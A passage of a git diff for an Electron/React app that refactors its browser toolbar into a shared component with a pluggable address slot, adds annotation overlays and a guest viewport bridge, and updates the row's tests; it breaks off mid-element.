+++ b/src/renderer/src/components/browser-pane/ClientHostedBrowserPagePane.tsx
@@ -21,6 +21,7 @@ import { ClientHostedBrowserUnavailableNotice } from './client-hosted-browser-un
 import { useRestoredClientHostedRecoveryWindow } from './restored-client-hosted-recovery-window'
 import BrowserFind from './assemble-chrome/BrowserFind'
 import { BrowserNavigationControlRow } from './assemble-chrome/browser-navigation-control-row'
+import BrowserAddressBar from './assemble-chrome/BrowserAddressBar'
 import { BrowserPageContextMenu } from './assemble-chrome/browser-page-context-menu'
 import { useBrowserPageChromeFocus } from './assemble-chrome/use-browser-page-chrome-focus'
 import { useBrowserAddressBarEditSession } from './assemble-chrome/use-browser-address-bar-edit-session'
@@ -165,7 +166,7 @@ export function ClientHostedBrowserPagePane({
 
   const navigateToUrl = useCallback(
     (value: string) => {
-      const submission = resolveBrowserAddressBarSubmission(value)
+      const submission = resolveBrowserAddressBarSubmission(value, { allowFileUrls: false })
       if (submission.status === 'invalid') {
         onUpdatePageState(browserTab.id, { loadError: submission.loadError })
         return
@@ -367,18 +368,23 @@ export function ClientHostedBrowserPagePane({
             reload: () => reload.runReloadTrigger('button'),
             navigate: navigateToUrl
           }}
-          addressBarValue={addressBarValue}
-          onAddressBarChange={setAddressBarValue}
-          onSubmitAddressBar={() => navigateToUrl(addressBarValue)}
-          addressBarInputRef={addressBarInputRef}
-          addressBarEditSession={addressBarEditSession}
-          reloadLabel={reload.reloadButtonLabel}
-          addressBarLeadingIcon={
-            <RemoteRuntimeEgressIndicator
-              runtimeEnvironmentId={runtimeEnvironmentId}
-              presentation="client-hosted"
+          addressSlot={
+            <BrowserAddressBar
+              value={addressBarValue}
+              onChange={setAddressBarValue}
+              onSubmit={() => navigateToUrl(addressBarValue)}
+              onNavigate={navigateToUrl}
+              inputRef={addressBarInputRef}
+              editSession={addressBarEditSession}
+              leadingIcon={
+                <RemoteRuntimeEgressIndicator
+                  runtimeEnvironmentId={runtimeEnvironmentId}
+                  presentation="client-hosted"
+                />
+              }
             />
           }
+          reloadLabel={reload.reloadButtonLabel}
         />
       </div>
       <div ref={viewportRef} className="relative min-h-0 flex-1 overflow-hidden bg-background">
diff --git a/src/renderer/src/components/browser-pane/annotate/browser-guest-annotate-overlays.tsx b/src/renderer/src/components/browser-pane/annotate/browser-guest-annotate-overlays.tsx
new file mode 100644
index 00000000000..2a88f501aee
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/annotate/browser-guest-annotate-overlays.tsx
@@ -0,0 +1,189 @@
+import type { MutableRefObject, RefObject } from 'react'
+import { Copy, Image } from 'lucide-react'
+import {
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuSeparator,
+  DropdownMenuShortcut,
+  DropdownMenuTrigger
+} from '@/components/ui/dropdown-menu'
+import { translate } from '@/i18n/i18n'
+import { MarkupOverlay } from './MarkupOverlay'
+import type { MarkupModeController } from './useMarkupMode'
+import type { GrabModeHook } from './useGrabMode'
+import {
+  getBrowserOverlayAnchor,
+  type BrowserOverlayViewport
+} from '../describe-page/browser-annotation-geometry'
+import { BrowserPageAnnotationTray } from './browser-page-annotation-tray'
+import { BrowserPageGrabToast } from './browser-page-grab-toast'
+import { PendingBrowserAnnotationCard } from './pending-browser-annotation-card'
+import type { useBrowserPageAnnotationSend } from './use-browser-page-annotation-send'
+import type { useBrowserPageGrabAnnotations } from './use-browser-page-grab-annotations'
+
+/**
+ * Everything the annotate and markup tools paint over a guest: the draw surface, the pending
+ * comment card, the annotation tray, the right-click grab menu and the inline confirmation toast.
+ *
+ * Shared because these overlays are the other half of the toolbar's tool cluster — a surface that
+ * offers the tools but not these would arm a picker whose result the reader could never see.
+ */
+export function BrowserGuestAnnotateOverlays({
+  markup,
+  grab,
+  annotationSend,
+  grabAnnotations,
+  containerRef,
+  webviewRef,
+  browserOverlayViewport,
+  worktreeId
+}: {
+  markup: MarkupModeController
+  grab: GrabModeHook
+  annotationSend: ReturnType<typeof useBrowserPageAnnotationSend>
+  grabAnnotations: ReturnType<typeof useBrowserPageGrabAnnotations>
+  containerRef: RefObject<HTMLDivElement | null>
+  webviewRef: MutableRefObject<Electron.WebviewTag | null>
+  browserOverlayViewport: BrowserOverlayViewport
+  worktreeId: string
+}): React.JSX.Element {
+  const {
+    pendingAnnotationPayload,
+    handleAddBrowserAnnotation,
+    handleCancelPendingBrowserAnnotation,
+    grabIntent,
+    grabMenuActionTakenRef,
+    handleGrabCopy,
+    handleGrabCopyScreenshot,
+    grabToast,
+    grabToastTimerRef,
+    dismissGrabToast,
+    setGrabToast
+  } = grabAnnotations
+  const {
+    browserAnnotations,
+    browserAnnotationTrayOpen,
+    annotationTraySendOpen,
+    handleAnnotationTraySendOpenChange,
+    activeGroupId,
+    browserAnnotationsPrompt,
+    handleBrowserAnnotationsSentToAgent,
+    handleCopyBrowserAnnotations,
+    browserAnnotationsCopied,
+    handleClearBrowserAnnotations,
+    handleDeleteBrowserAnnotation
+  } = annotationSend
+
+  return (
+    <>
+      {markup.isActive && markup.baseImage ? (
+        <MarkupOverlay
+          baseImage={markup.baseImage}
+          busy={markup.state === 'composing'}
+          onComplete={(input) => void markup.complete(input)}
+          onCancel={markup.cancel}
+        />
+      ) : null}
+      {pendingAnnotationPayload ? (
+        <PendingBrowserAnnotationCard
+          payload={pendingAnnotationPayload}
+          anchor={getBrowserOverlayAnchor(
+            pendingAnnotationPayload,
+            containerRef.current,
+            webviewRef.current,
+            browserOverlayViewport
+          )}
+          portalContainer={containerRef.current}
+          onAdd={handleAddBrowserAnnotation}
+          onCancel={handleCancelPendingBrowserAnnotation}
+        />
+      ) : null}
+      {browserAnnotations.length > 0 && browserAnnotationTrayOpen ? (
+        <BrowserPageAnnotationTray
+          browserAnnotations={browserAnnotations}
+          annotationTraySendOpen={annotationTraySendOpen}
+          handleAnnotationTraySendOpenChange={handleAnnotationTraySendOpenChange}
+          worktreeId={worktreeId}
+          activeGroupId={activeGroupId}
+          browserAnnotationsPrompt={browserAnnotationsPrompt}
+          handleBrowserAnnotationsSentToAgent={handleBrowserAnnotationsSentToAgent}
+          handleCopyBrowserAnnotations={handleCopyBrowserAnnotations}
+          browserAnnotationsCopied={browserAnnotationsCopied}
+          handleClearBrowserAnnotations={handleClearBrowserAnnotations}
+          handleDeleteBrowserAnnotation={handleDeleteBrowserAnnotation}
+        />
+      ) : null}
+      {/* Right-click context dropdown, positioned at the grabbed element's center. */}
+      <DropdownMenu
+        open={grab.state === 'confirming' && grab.contextMenu && grabIntent === 'copy'}
+        onOpenChange={(open) => {
+          if (!open && grab.state === 'confirming') {
+            // Why: skip rearm if a menu action already handled it — see grabMenuActionTakenRef.
+            if (grabMenuActionTakenRef.current) {
+              grabMenuActionTakenRef.current = false
+              return
+            }
+            grab.rearm()
+          }
+        }}
+      >
+        <DropdownMenuTrigger asChild>
+          <button
+            aria-hidden
+            tabIndex={-1}
+            className="pointer-events-none absolute size-px opacity-0"
+            style={(() => {
+              if (!grab.payload) {
+                return { left: 0, top: 0 }
+              }
+              const rect = grab.payload.target.rectViewport
+              const webview = webviewRef.current
+              const webviewRect = webview?.getBoundingClientRect()
+              const cRect = containerRef.current?.getBoundingClientRect()
+              const offsetX = (webviewRect?.left ?? 0) - (cRect?.left ?? 0)
+              const offsetY = (webviewRect?.top ?? 0) - (cRect?.top ?? 0)
+              return {
+                left: offsetX + rect.x + rect.width / 2,
+                top: offsetY + rect.y + rect.height / 2
+              }
+            })()}
+          />
+        </DropdownMenuTrigger>
+        <DropdownMenuContent align="start" sideOffset={4}>
+          <DropdownMenuItem onSelect={handleGrabCopy}>
+            <Copy className="size-3.5" />
+            {translate('auto.components.browser.pane.BrowserPane.c2ef0359b9', 'Copy Contents')}
+            <DropdownMenuShortcut>C</DropdownMenuShortcut>
+          </DropdownMenuItem>
+          {grab.payload?.screenshot?.dataUrl?.startsWith('data:image/png;base64,') ? (
+            <DropdownMenuItem onSelect={handleGrabCopyScreenshot}>
+              <Image className="size-3.5" />
+              {translate('auto.components.browser.pane.BrowserPane.1ded0d3168', 'Copy Screenshot')}
+              <DropdownMenuShortcut>S</DropdownMenuShortcut>
+            </DropdownMenuItem>
+          ) : null}
+          <DropdownMenuSeparator />
+          <DropdownMenuItem
+            onSelect={() => {
+              grabMenuActionTakenRef.current = true
+              grab.cancel()
+            }}
+          >
+            {translate('auto.components.browser.pane.BrowserPane.fa6ea61de3', 'Cancel')}
+          </DropdownMenuItem>
+        </DropdownMenuContent>
+      </DropdownMenu>
+
+      {/* Inline toast bubble; flips above the element when near the viewport bottom so it doesn't occlude it. */}
+      {grabToast ? (
+        <BrowserPageGrabToast
+          grabToast={grabToast}
+          grabToastTimerRef={grabToastTimerRef}
+          dismissGrabToast={dismissGrabToast}
+          setGrabToast={setGrabToast}
+        />
+      ) : null}
+    </>
+  )
+}
diff --git a/src/renderer/src/components/browser-pane/annotate/browser-page-grab-action.ts b/src/renderer/src/components/browser-pane/annotate/browser-page-grab-action.ts
index 354064a586e..83bbacddfac 100644
--- a/src/renderer/src/components/browser-pane/annotate/browser-page-grab-action.ts
+++ b/src/renderer/src/components/browser-pane/annotate/browser-page-grab-action.ts
@@ -12,7 +12,7 @@ export function runBrowserGrabActionShortcut({
   grabIntent,
   grab,
   grabPayloadRef,
-  browserTabIdRef,
+  toolTargetIdRef,
   recordFeatureInteraction,
   showGrabToast
 }: {
@@ -20,7 +20,7 @@ export function runBrowserGrabActionShortcut({
   grabIntent: GrabIntent
   grab: GrabModeHook
   grabPayloadRef: MutableRefObject<BrowserGrabPayload | null>
-  browserTabIdRef: MutableRefObject<string>
+  toolTargetIdRef: MutableRefObject<string>
   recordFeatureInteraction: (feature: 'browser-grab') => void | Promise<void>
   showGrabToast: (
     message: string,
@@ -70,7 +70,7 @@ export function runBrowserGrabActionShortcut({
       let result: Awaited<ReturnType<typeof window.api.browser.extractHoverPayload>>
       try {
         result = await window.api.browser.extractHoverPayload({
-          browserPageId: browserTabIdRef.current
+          browserPageId: toolTargetIdRef.current
         })
       } catch {
         // Why: the guest can be destroyed or the IPC channel torn down mid-shortcut; surface it like a miss instead of an unhandled rejection.
@@ -86,7 +86,7 @@ export function runBrowserGrabActionShortcut({
       if (key === 's') {
         try {
           const ssResult = await window.api.browser.captureSelectionScreenshot({
-            browserPageId: browserTabIdRef.current,
+            browserPageId: toolTargetIdRef.current,
             rect: payload.target.rectViewport
           })
           if (ssResult.ok) {
diff --git a/src/renderer/src/components/browser-pane/annotate/guest-annotation-viewport-bridge.ts b/src/renderer/src/components/browser-pane/annotate/guest-annotation-viewport-bridge.ts
new file mode 100644
index 00000000000..281fc67c77f
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/annotate/guest-annotation-viewport-bridge.ts
@@ -0,0 +1,43 @@
+import type {
+  BrowserGrabPayload,
+  BrowserPageAnnotation
+} from '../../../../../shared/browser-grab-types'
+
+/**
+ * Push the current annotation set into the guest, where badges render in-page so they track scroll
+ * without a message per frame. Shared by every surface that annotates a guest — the payload is
+ * derived only from the annotations themselves, so the two surfaces cannot disagree about it.
+ */
+export function syncGuestAnnotationViewportBridge({
+  toolTargetId,
+  annotations,
+  pendingPayload,
+  surfaceActive,
+  token
+}: {
+  toolTargetId: string
+  annotations: BrowserPageAnnotation[]
+  pendingPayload: BrowserGrabPayload | null
+  surfaceActive: boolean
+  token: string
+}): void {
+  // Why: existing badges render in-guest for smooth scroll; only the pending dialog needs viewport messages.
+  const markers = annotations.map((annotation, index) => ({
+    id: annotation.id,
+    index,
+    isFixed: annotation.payload.target.isFixed === true,
+    rectPage: annotation.payload.target.rectPage,
+    rectViewport: annotation.payload.target.rectViewport
+  }))
+  void window.api.browser
+    .setAnnotationViewportBridge({
+      browserPageId: toolTargetId,
+      emitViewport: pendingPayload !== null,
+      enabled: surfaceActive && (pendingPayload !== null || markers.length > 0),
+      markers,
+      token
+    })
+    .catch(() => {
+      // The viewport bridge is visual-only; stale markers beat breaking the surface on a destroyed guest.
+    })
+}
diff --git a/src/renderer/src/components/browser-pane/annotate/use-browser-page-grab-annotations.ts b/src/renderer/src/components/browser-pane/annotate/use-browser-page-grab-annotations.ts
index 50f40708143..3779642f378 100644
--- a/src/renderer/src/components/browser-pane/annotate/use-browser-page-grab-annotations.ts
+++ b/src/renderer/src/components/browser-pane/annotate/use-browser-page-grab-annotations.ts
@@ -43,6 +43,7 @@ const annotationAddedGrabToastMessage = (): string =>
 
 export function useBrowserPageGrabAnnotations({
   browserTabId,
+  toolTargetId = browserTabId,
   isActive,
   grab,
   containerRef,
@@ -51,7 +52,14 @@ export function useBrowserPageGrabAnnotations({
   browserAnnotationsLength,
   setBrowserAnnotationTrayOpen
 }: {
+  /** Scopes the stored annotations. Stable for the life of the surface. */
   browserTabId: string
+  /**
+   * The id main resolves to a guest. Defaults to the annotation scope, which is the same string
+   * for a browser page — a preview re-mints this on recovery, and its annotations must not be
+   * orphaned when it does.
+   */
+  toolTargetId?: string
   isActive: boolean
   grab: GrabModeHook
   containerRef: MutableRefObject<HTMLDivElement | null>
@@ -75,7 +83,7 @@ export function useBrowserPageGrabAnnotations({
   handleCancelPendingBrowserAnnotation: () => void
   handleGrabActionShortcut: (key: 'c' | 's') => void
 } {
-  const browserTabIdRef = useRef(browserTabId)
+  const toolTargetIdRef = useRef(toolTargetId)
   const grabToastTimerRef = useRef<ReturnType<typeof setTimeout>>(undefined)
   const [grabIntent, setGrabIntent] = useState<GrabIntent>('copy')
   const grabIntentRef = useRef(grabIntent)
@@ -88,12 +96,12 @@ export function useBrowserPageGrabAnnotations({
   const grabPayloadRef = useRef(grab.payload)
 
   useLayoutEffect(() => {
-    browserTabIdRef.current = browserTabId
+    toolTargetIdRef.current = toolTargetId
     grabIntentRef.current = grabIntent
     pendingAnnotationPayloadRef.current = pendingAnnotationPayload
     grabRef.current = grab
     grabPayloadRef.current = grab.payload
-  }, [browserTabId, grab, grabIntent, pendingAnnotationPayload])
+  }, [grab, grabIntent, pendingAnnotationPayload, toolTargetId])
   // Why: Radix fires onOpenChange(false) before onSelect, so this flag lets onOpenChange skip the rearm that would clear the payload first.
   const grabMenuActionTakenRef = useRef(false)
   const recordFeatureInteraction = useAppStore((s) => s.recordFeatureInteraction)
@@ -225,7 +233,7 @@ export function useBrowserPageGrabAnnotations({
         grabIntent,
         grab,
         grabPayloadRef,
-        browserTabIdRef,
+        toolTargetIdRef,
         recordFeatureInteraction,
         showGrabToast
       })
diff --git a/src/renderer/src/components/browser-pane/assemble-chrome/BrowserAddressBar.tsx b/src/renderer/src/components/browser-pane/assemble-chrome/BrowserAddressBar.tsx
index ab006d1f60a..a41f9c4e56d 100644
--- a/src/renderer/src/components/browser-pane/assemble-chrome/BrowserAddressBar.tsx
+++ b/src/renderer/src/components/browser-pane/assemble-chrome/BrowserAddressBar.tsx
@@ -393,7 +393,9 @@ export default function BrowserAddressBar({
     // Why: min-w-11 keeps the leading globe a real hit target once the toolbar
     // squeezes the bar away — without it neighbouring buttons overlap the only
     // affordance for reopening the URL field.
-    <div ref={slotRef} className="flex min-w-11 flex-1 items-center">
+    // Why stretch: the toolbar row pins the address slot's height, and the bar must fill it rather
+    // than size itself — otherwise it and the document chip drift apart again.
+    <div ref={slotRef} className="flex min-w-11 flex-1 items-stretch">
       <Popover
         modal={false}
         open={open}
diff --git a/src/renderer/src/components/browser-pane/assemble-chrome/browser-chrome-address-slot.ts b/src/renderer/src/components/browser-pane/assemble-chrome/browser-chrome-address-slot.ts
new file mode 100644
index 00000000000..cbf1cdc0358
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/assemble-chrome/browser-chrome-address-slot.ts
@@ -0,0 +1,13 @@
+/**
+ * The height every identity widget in the toolbar's address slot is stretched to.
+ *
+ * Why the row owns it rather than each widget: an address bar is a text input and a document chip
+ * is a line of text, so left to themselves they come out 8px apart and the whole toolbar changes
+ * height when the reader switches between a web tab and a document tab. 2.375rem is the address
+ * bar's own natural box (its input's line box plus the frame padding), so pinning to it keeps the
+ * browser chrome exactly as it looks today and brings every other slot up to match.
+ */
+export const BROWSER_CHROME_ADDRESS_SLOT_HEIGHT_CLASS = 'h-9.5'
+
+/** Marks the slot wrapper so tests can prove both surfaces share one height contract. */
+export const BROWSER_CHROME_ADDRESS_SLOT_ATTRIBUTE = 'data-browser-chrome-address-slot'
diff --git a/src/renderer/src/components/browser-pane/assemble-chrome/browser-chrome-toolbar.tsx b/src/renderer/src/components/browser-pane/assemble-chrome/browser-chrome-toolbar.tsx
new file mode 100644
index 00000000000..a314ed69215
--- /dev/null
+++ b/src/renderer/src/components/browser-pane/assemble-chrome/browser-chrome-toolbar.tsx
@@ -0,0 +1,206 @@
+import { cn } from '@/lib/utils'
+import { Crosshair, ExternalLink, MessageSquarePlus, SquareCode } from 'lucide-react'
+import { Button } from '@/components/ui/button'
+import { Tooltip, TooltipContent, TooltipTrigger } from '@/components/ui/tooltip'
+import { translate } from '@/i18n/i18n'
+import {
+  BrowserNavigationControlRow,
+  type BrowserNavigationControls
+} from './browser-navigation-control-row'
+import { MarkupDrawButton } from '../annotate/MarkupDrawButton'
+import type { GrabIntent } from '../describe-page/browser-page-types'
+
+/** The in-guest element picker, driving both Grab (copy) and Annotate (comment). */
+export type BrowserChromeElementTools = {
+  /** The intent the picker is armed for right now, or null when it is idle. */
+  activeIntent: GrabIntent | null
+  onStartIntent: (intent: GrabIntent) => void
+  disabled: boolean
+  grabShortcutLabel: string
+  annotationCount: number
+}
+
+export type BrowserChromeMarkupTool = {
+  active: boolean
+  disabled: boolean
+  onToggle: () => void
+  /**
+   * Whether this surface may spend the draw tool's one-per-install discovery popover. False on a
+   * hidden pane (a portaled layer would anchor to a zero-size trigger) and false on any surface
+   * that does not own the nudge — a preview consuming it would burn the single view on a reader
+   * who came for a document, before the browsing pane ever offered it.
+   */
+  canShowDiscoveryHint: boolean
+}
+
+export type BrowserChromeToolAction = {
+  onSelect: () => void
+  label: string
+  disabled?: boolean
+}
+
+/**
+ * The whole browser chrome bar — history, identity, tools — for every surface that renders guest
+ * content: the browsing pane and the workspace document preview.
+ *
+ * Why one component and not a shared row plus two tool clusters: a tool added here has to appear
+ * on both surfaces to stay honest, and a per-surface cluster is exactly how they drift apart. A
+ * surface omits a tool only by passing null, and each null below says why that tool cannot apply.
+ */
+export function BrowserChromeToolbar({
+  controls,
+  addressSlot,
+  reloadControl,
+  reloadLabel,
+  importControl,
+  elementTools,
+  markup,
+  shareControl,
+  viewSource,
+  openExternal,
+  overflowMenu,
+  showTourAnchors = false
+}: {
+  controls: BrowserNavigationControls
+  addressSlot: React.ReactNode
+  reloadControl?: React.ReactNode
+  reloadLabel?: string
+  /** Cookie import — a browsing session concept; null where there is no session to import into. */
+  importControl?: React.ReactNode
+  elementTools: BrowserChromeElementTools | null
+  markup: BrowserChromeMarkupTool
+  shareControl?: React.ReactNode
+  viewSource: BrowserChromeToolAction | null
+  openExternal: BrowserChromeToolAction | null
+  overflowMenu?: React.ReactNode
+  /** Only the browsing pane anchors the contextual tour; a second anchor would steal its steps. */
+  showTourAnchors?: boolean
+}): React.JSX.Element {
+  return (
+    <BrowserNavigationControlRow
+      controls={controls}
+      addressSlot={addressSlot}
+      reloadControl={reloadControl}
+      reloadLabel={reloadLabel}
+      showTourAnchors={showTourAnchors}
+    >
+      {importControl}
+
+      {elementTools ? (
+        <>
+          <Tooltip>
+            <TooltipTrigger asChild>
+              <span className="inline-flex">
+                <Button
+                  size="icon"
+                  variant={elementTools.activeIntent === 'copy' ? 'default' : 'ghost'}
+                  className={cn(
+                    'h-8 w-8',
+                    elementTools.activeIntent === 'copy' &&
+                      'bg-foreground/80 text-background hover:bg-foreground/90'
+                  )}
+                  onClick={() => elementTools.onStartIntent('copy')}
+                  disabled={elementTools.disabled}
+                  aria-label={translate(
+                    'auto.components.browser.pane.BrowserPane.fdfc7fe0ef',
+                    'Grab page element'
+                  )}
+                  {...(showTourAnchors
+                    ? { 'data-contextual-tour-target': 'browser-grab-control' }
+                    : {})}
+                >
+                  <Crosshair className="size-4" />
+                </Button>
+              </span>
+            </TooltipTrigger>
+            <TooltipContent side="bottom" sideOffset={4}>
+              {translate(
+                'auto.components.browser.pane.BrowserPane.acbe79fd01',
+                'Grab page element ({{value0}})',
+                { value0: elementTools.grabShortcutLabel }
+              )}
+            </TooltipContent>
+          </Tooltip>
+
+          <Tooltip>
+            <TooltipTrigger asChild>
+              {/* Why: disabled <button> drops hover events, so wrap in a span so the tooltip trigger still fires. */}
+              <span className="inline-flex">
+                <Button
+                  size="icon"
+                  variant={elementTools.activeIntent === 'annotate' ? 'default' : 'ghost'}
+                  className={cn(
+                    'relative h-8 w-8',
+                    elementTools.activeIntent === 'annotate' &&
+                      'bg-foreground/80 text-background hover:bg-foreground/90'
+                  )}
+                  onClick={() => elementTools.onStartIntent('annotate')}
+                  disabled={elementTools.disabled}
+                  aria-label={translate(
+                    'auto.components.browser.pane.BrowserPane.fc9be38f6f',
+                    'Annotate page element'
+                  )}
+                  {...(showTourAnchors
+                    ? { 'data-contextual-tour-target': 'browser-annotation-control' }
+                    : {})}
+                >
+                  <MessageSquarePlus className="size-4" />
+                  {elementTools.annotationCount > 0 ? (
+                    <span className="absolute -top-1 -right-1 flex min-w-4 items-center justify-center rounded-full bg-primary px-1 text-[10px] leading-4 text-primary-foreground">
+                      {elementTools.annotationCount}
+                    </span>
+                  ) : null}
+                </Button>
+              </span>
+            </TooltipTrigger>
+            <TooltipContent side="bottom" sideOffset={4}>
+              {translate(
+                'auto.components.browser.pane.BrowserPane.fc9be38f6f',
+                'Annotate page element'
+              )}
+            </TooltipContent>
+          </Tooltip>
+        </>
+      ) : null}
+
+      <MarkupDrawButton
+        onClick={markup.onToggle}
+        disabled={markup.disabled}
+        active={markup.active}
+        surfaceActive={markup.canShowDiscoveryHint}
+      />
+
+      {shareControl}
+
+      {viewSource ? (
+        <Button
+          size="icon"
+          variant="ghost"
+          className="h-7 w-7"
+          onClick={viewSource.onSelect}
+          title={viewSource.label}
+          aria-label={viewSource.label}
+          disabled={viewSource.disabled}
+        >
+          <SquareCode className="size-4" />
+        </Button>
+      ) : null}
+
+      {openExternal ? (
+        <Button
+          size="icon"
+          variant="ghost"
+          className="h-7 w-7"
+          onClick={openExternal.onSelect}
+          title={openExternal.label}
+          aria-label={openExternal.label}
+          disabled={openExternal.disabled}
+        >
+          <ExternalLink className="size-4" />
+        </Button>
+      ) : null}
+
+      {overflowMenu}
+    </BrowserNavigationControlRow>
+  )
+}
diff --git a/src/renderer/src/components/browser-pane/assemble-chrome/browser-navigation-control-row.test.tsx b/src/renderer/src/components/browser-pane/assemble-chrome/browser-navigation-control-row.test.tsx
index ff7969c9664..5d5b25030a8 100644
--- a/src/renderer/src/components/browser-pane/assemble-chrome/browser-navigation-control-row.test.tsx
+++ b/src/renderer/src/components/browser-pane/assemble-chrome/browser-navigation-control-row.test.tsx
@@ -16,6 +16,11 @@ vi.mock('./BrowserAddressBar', () => ({
   }
 }))
 
+import BrowserAddressBar from './BrowserAddressBar'
+import {
+  BROWSER_CHROME_ADDRESS_SLOT_ATTRIBUTE,
+  BROWSER_CHROME_ADDRESS_SLOT_HEIGHT_CLASS
+} from './browser-chrome-address-slot'
 import {
   BrowserNavigationControlRow,
   type BrowserNavigationControls
@@ -37,10 +42,15 @@ function renderRow(overrides: Partial<BrowserNavigationControls> = {}): BrowserN
     return (
       <BrowserNavigationControlRow
         controls={controls}
-        addressBarValue="https://example.com/"
-        onAddressBarChange={vi.fn()}
-        onSubmitAddressBar={vi.fn()}
-        addressBarInputRef={inputRef}
+        addressSlot={
+          <BrowserAddressBar
+            value="https://example.com/"
+            onChange={vi.fn()}
+            onSubmit={vi.fn()}
+            onNavigate={controls.navigate}
+            inputRef={inputRef}
+          />
+        }
       />
     )
   }
@@ -48,6 +58,24 @@ function renderRow(overrides: Partial<BrowserNavigationControls> = {}): BrowserN
   return controls
 }
 
+/** The read-only counterpart the document preview passes, standing in for any non-URL identity. */
+function renderWithIdentityChip(): void {
+  render(
+    <BrowserNavigationControlRow
+      controls={{
+        canGoBack: false,
+        canGoForward: false,
+        loading: false,
+        goBack: vi.fn(),
+        goForward: vi.fn(),
+        reload: vi.fn(),
+        navigate: vi.fn()
+      }}
+      addressSlot={<span>docs/report.html</span>}
+    />
+  )
+}
+
 describe('BrowserNavigationControlRow', () => {
   afterEach(() => cleanup())
 
@@ -77,4 +105,34 @@ describe('BrowserNavigationControlRow', () => {
     renderRow()
     expect(document.querySelector('[data-contextual-tour-target="browser-toolbar"]')).not.toBeNull()
   })
+
+  // Why: the row must not assume its middle is an address bar — a surface with no URL to type
+  // still gets the same history controls in the same chrome.
+  it('renders a non-address identity widget in the same slot', () => {
+    renderWithIdentityChip()
+    expect(screen.getByText('docs/report.html')).not.toBeNull()
+    expect(screen.queryByLabelText('Address')).toBeNull()
+    expect(screen.getByLabelText('Back')).not.toBeNull()
+    expect(screen.getByLabelText('Reload')).not.toBeNull()
+  })
+
+  // Why the row and not each widget: a text input and a line of text come out different heights,
+  // and the whole toolbar would change size when a document tab replaces a web tab.
+  it('gives every identity widget the same slot height, and stretches it to fill', () => {
+    renderRow()
+    const addressSlot = document.querySelector(`[${BROWSER_CHROME_ADDRESS_SLOT_ATTRIBUTE}]`)
+    const addressSlotClass = addressSlot?.className ?? ''
+    const addressWidgetParent = screen.getByLabelText('Address').parentElement
+    cleanup()
+
+    renderWithIdentityChip()
+    const chipSlot = document.querySelector(`[${BROWSER_CHROME_ADDRESS_SLOT_ATTRIBUTE}]`)
+
+    expect(addressSlotClass).toContain(BROWSER_CHROME_ADDRESS_SLOT_HEIGHT_CLASS)
+    expect(chipSlot?.className).toBe(addressSlotClass)
+    expect(addressSlotClass).toContain('items-stretch')
+    // Both widgets are direct children, so the slot's height reaches them instead of a wrapper.
+    expect(addressWidgetParent).toBe(addressSlot)
+    expect(screen.getByText('docs/report.html').parentElement).toBe(chipSlot)
+  })
 })
diff --git a/src/renderer/src/components/browser-pane/assemble-chrome/browser-navigation-control-row.tsx b/src/renderer/src/components/browser-pane/assemble-chrome/browser-navigation-control-row.tsx
index 28cc9ef8419..236251c64ef 100644
--- a/src/renderer/src/components/browser-pane/assemble-chrome/browser-navigation-control-row.tsx
+++ b/src/renderer/src/components/browser-pane/assemble-chrome/browser-navigation-control-row.tsx
@@ -1,8 +1,11 @@
 import { ArrowLeft, ArrowRight, Loader2, RefreshCw } from 'lucide-react'
 import { Button } from '@/components/ui/button'
 import { translate } from '@/i18n/i18n'
-import BrowserAddressBar from './BrowserAddressBar'
-import type { BrowserAddressBarEditSessionBinding } from './use-browser-address-bar-edit-session'
+import { cn } from '@/lib/utils'
+import {
+  BROWSER_CHROME_ADDRESS_SLOT_ATTRIBUTE,
+  BROWSER_CHROME_ADDRESS_SLOT_HEIGHT_CLASS
+} from './browser-chrome-address-slot'
 
 /**
  * The history/reload/navigate surface a browser backend must provide to be driven by
@@ -20,42 +23,35 @@ export type BrowserNavigationControls = {
 }
 
 /**
- * The toolbar row every browser pane shares: back, forward, reload and the address bar.
- * Panes with a richer reload affordance pass `reloadControl`; pane-specific tools
- * (annotations, downloads, find) render as trailing children.
+ * The toolbar row every browser surface shares: back, forward, reload, then whatever names the
+ * thing on screen, then that surface's tools.
+ *
+ * Why the middle is a slot rather than the address bar: a web page is named by a URL you may
+ * retype, a workspace document by a path you may not. Both still sit in the same place, at the
+ * same size, between the same controls — so the identity widget is what varies, not the row.
  */
 export function BrowserNavigationControlRow({
   controls,
-  addressBarValue,
-  onAddressBarChange,
-  onSubmitAddressBar,
-  addressBarInputRef,
-  dismissSuggestionsRef,
-  addressBarEditSession,
+  addressSlot,
   reloadControl,
   reloadLabel,
-  addressBarLeadingIcon,
+  showTourAnchors = true,
   children
 }: {
   controls: BrowserNavigationControls
-  addressBarValue: string
-  onAddressBarChange: (value: string) => void
-  onSubmitAddressBar: () => void
-  addressBarInputRef: React.RefObject<HTMLInputElement | null>
-  dismissSuggestionsRef?: React.MutableRefObject<(() => void) | null>
-  /** Set by panes React remounts mid-edit; see BrowserAddressBar's `editSession`. */
-  addressBarEditSession?: BrowserAddressBarEditSessionBinding | null
+  /** The surface's identity widget: an editable address bar, or a read-only document chip. */
+  addressSlot: React.ReactNode
   reloadControl?: React.ReactNode
   /** Accessible name for the default reload button, which doubles as Stop and Retry. */
   reloadLabel?: string
-  /** Replaces the address bar's leading globe (e.g. the SSH egress indicator). */
-  addressBarLeadingIcon?: React.ReactNode
+  /** Off for surfaces the browsing tour does not cover — a second anchor would steal its steps. */
+  showTourAnchors?: boolean
   children?: React.ReactNode
 }): React.JSX.Element {
   return (
     <div
-      className="relative z-10 flex items-center gap-2 border-b border-border/70 bg-background/95 px-3 py-1.5"
-      data-contextual-tour-target="browser-toolbar"
+      className="relative z-10 flex shrink-0 items-center gap-2 border-b border-border/70 bg-background/95 px-3 py-1.5"
+      {...(showTourAnchors ? { 'data-contextual-tour-target': 'browser-toolbar' } : {})}
     >
       <Button
         size="icon"
@@ -93,16 +89,15 @@ export function BrowserNavigationControlRow({
         </Button>
       )}
 
-      <BrowserAddressBar
-        value={addressBarValue}
-        onChange={onAddressBarChange}
-        onSubmit={onSubmitAddressBar}
-        onNavigate={controls.navigate}
-        inputRef={addressBarInputRef}
-        dismissSuggestionsRef={dismissSuggestionsRef}
-        editSession={addressBarEditSession}
-        leadingIcon={addressBarLeadingIcon}
-      />
+      <div
+        className={cn(
+          'flex min-w-0 flex-1 items-stretch',
+          BROWSER_CHROME_ADDRESS_SLOT_HEIGHT_CLASS
+        )}
+        {...{ [BROWSER_CHROME_ADDRESS_SLOT_ATTRIBUTE]: 'true' }}
+      >
